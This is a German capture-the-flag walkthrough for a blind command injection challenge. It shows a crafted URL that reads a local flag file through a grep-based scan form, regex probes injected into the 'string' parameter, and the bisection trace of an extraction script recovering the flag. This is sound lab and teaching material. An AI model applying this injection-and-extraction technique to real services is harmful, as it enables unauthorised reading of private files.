Aktualisiert am: 2022-09-01
Boolean-based Blind Command Injection
Enumeration
-
Es gibt zwei Textfelder:
URL
undstring
-
Mit dem Button
SCAN
erhalten wir als Ergebnis einYaaaaaassssss!
, falls die Zeichenkettestring
in der mittelsURL
referenzierten Datei gefunden wurde
Exploitation
-
Aufgrund der anderen Cornucopia-Challenges können wir annehmen, dass die Zeichenkette mittels
grep
gesucht wird| grep $string
-
Die Annahme bestätigt sich, wir können den URL wie folgt zusammensetzen
http://localhost:8089/index.php?url=file:///tmp/flag.txt&submit=Scan&string=$string
-
Für
string
können wir jeweils im Anschluss an das bekannteflag{
-Präfix mittels[...]
gleich auf mehrere Zeichen prüfen, die in Frage kommen'^flag{[...]'
-
Bei bestätigtem Zeichen setzen wir es in den Regex ein, von links nach rechts
'^flag{[...]' '^flag{I[...]' '^flag{IB[...]'
Python Script
Demo | cornucopia9-solution.py
Das Script nutzt die Halbierungsmethode bzw. das Halbierungsverfahren. Es benötigt damit weniger Versuche als wenn jedes einzelne Zeichen geprüft werden müsste
001 FGHIJKLMNOPQRSTUVWXYZ0123456789 002 UVWXYZ0123456789
003 FGHIJKLMNOPQRST
004 MNOPQRST
005 FGHIJKL
006 IJKL
007 KL
008 IJ
009 J
010 I
011 I FGHIJKLMNOPQRSTUVWXYZ0123456789
012 I abcdefghijklmnopqrstuvwxyzABCDE
...
414 IBeforeEExceptAfterCHasBeenDisprovenByScienc FGHIJKLMNOPQRSTUVWXYZ0123456789
415 IBeforeEExceptAfterCHasBeenDisprovenByScienc abcdefghijklmnopqrstuvwxyzABCDE
416 IBeforeEExceptAfterCHasBeenDisprovenByScienc pqrstuvwxyzABCDE
417 IBeforeEExceptAfterCHasBeenDisprovenByScienc abcdefghijklmno
418 IBeforeEExceptAfterCHasBeenDisprovenByScienc hijklmno
419 IBeforeEExceptAfterCHasBeenDisprovenByScienc abcdefg
420 IBeforeEExceptAfterCHasBeenDisprovenByScienc defg
421 IBeforeEExceptAfterCHasBeenDisprovenByScienc fg
422 IBeforeEExceptAfterCHasBeenDisprovenByScienc de
423 IBeforeEExceptAfterCHasBeenDisprovenByScienc e
424 IBeforeEExceptAfterCHasBeenDisprovenByScience FGHIJKLMNOPQRSTUVWXYZ0123456789
425 IBeforeEExceptAfterCHasBeenDisprovenByScience abcdefghijklmnopqrstuvwxyzABCDE
requests: 425
password: IBeforeEExceptAfterCHasBeenDisprovenByScience
Links
- Walkthrough mit Verwendung des
file://
-Protokolls - Algorithmus für das Halbierungsverfahren